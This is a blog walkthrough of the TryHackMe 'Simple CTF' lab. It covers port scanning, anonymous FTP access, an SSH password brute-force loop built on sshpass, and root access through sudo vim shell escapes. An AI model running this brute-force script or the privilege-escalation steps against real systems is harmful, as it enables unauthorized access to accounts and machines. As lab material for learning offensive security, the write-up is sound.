Simple CTF [EASY] Writeup - Try Hack Me

Files used in this blog are here

Port scan 🔍

First we start by scanning the ports

nmap -p- -T4 --min-rate 5000 -vvv -o fullscan 10.10.226.232

-p1- means all ports -T4 is for an aggressive scan --min-rate 5000 is used to tell how many packages per second are we sending -vvv is verbose -o is for file output

# Nmap 7.80 scan initiated Fri Feb 16 00:10:54 2024 as: nmap -p- -T4 --min-rate 5000 -vvv -o fullscan 10.10.226.232
Nmap scan report for 10.10.226.232 (10.10.226.232)
Host is up, received syn-ack (0.27s latency).
Scanned at 2024-02-16 00:10:54 -03 for 42s
Not shown: 65532 filtered ports
Reason: 65532 no-responses
PORT     STATE SERVICE      REASON
21/tcp   open  ftp          syn-ack
80/tcp   open  http         syn-ack
2222/tcp open  EtherNetIP-1 syn-ack

Read data files from: /usr/bin/../share/nmap
# Nmap done at Fri Feb 16 00:11:36 2024 -- 1 IP address (1 host up) scanned in 41.57 seconds

FTP Anonymous login 🤿

Now since there is a port open at 21, we can try to do a anonymous login.

ftp 10.10.226.232
Connected to 10.10.226.232.
220 (vsFTPd 3.0.3)
Name (10.10.226.232:user): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

Now we are inside! We can verify by running a command like ls

ftp> ls
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Aug 17  2019 pub
226 Directory send OK.
ftp>

If we see something like passive mode, just type passive and will enter active mode.

If we dig inside the folder pub there is a file called ForMitch.txt we are going to download that with get <file_name>

And in our local computer we do a cat <file_name>

We got the following response

Dammit man... you'te the worst dev i've seen. You set the same pass for the system user, and the password is so weak... i cracked it in seconds. Gosh... what a mess!

Brute force 👊

So we know that their user is the same for the system and that contains a weak password

Since the message mentions a name we are going to asume that the user is mitch, now we should try to brute force the password.

I'm going to use a package called sshpass in order to send the password from a wordlist that I got from internet and create a simple script like this

#!/bin/bash

for password in $(cat weak_passwords.txt); do
    echo "Trying password: $password"
    sshpass -p$password ssh -p 2222 -o StrictHostKeyChecking=no -o IdentitiesOnly=yes mitch@10.10.226.232
done

After a long time trying I got the password!

Obtain the flags 🏁

If we do a ls we can see that the user.txt flag is there, take it and continue!

One of the first things you always do in a system (even before trying things like linpeas) is to do a simple sudo -l to see if there is something that can be run with sudo.

$ sudo -l
User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim

And of course there he's, we can use sudo vim

Lets do a sudo vim then type : and after ! ls /root and press enter, with this we are going to see if the root flag is there.

$ sudo vim

root.txt

And there it is! just like before but this time with ! cat /root/root.txt

Congratulations you got your flag!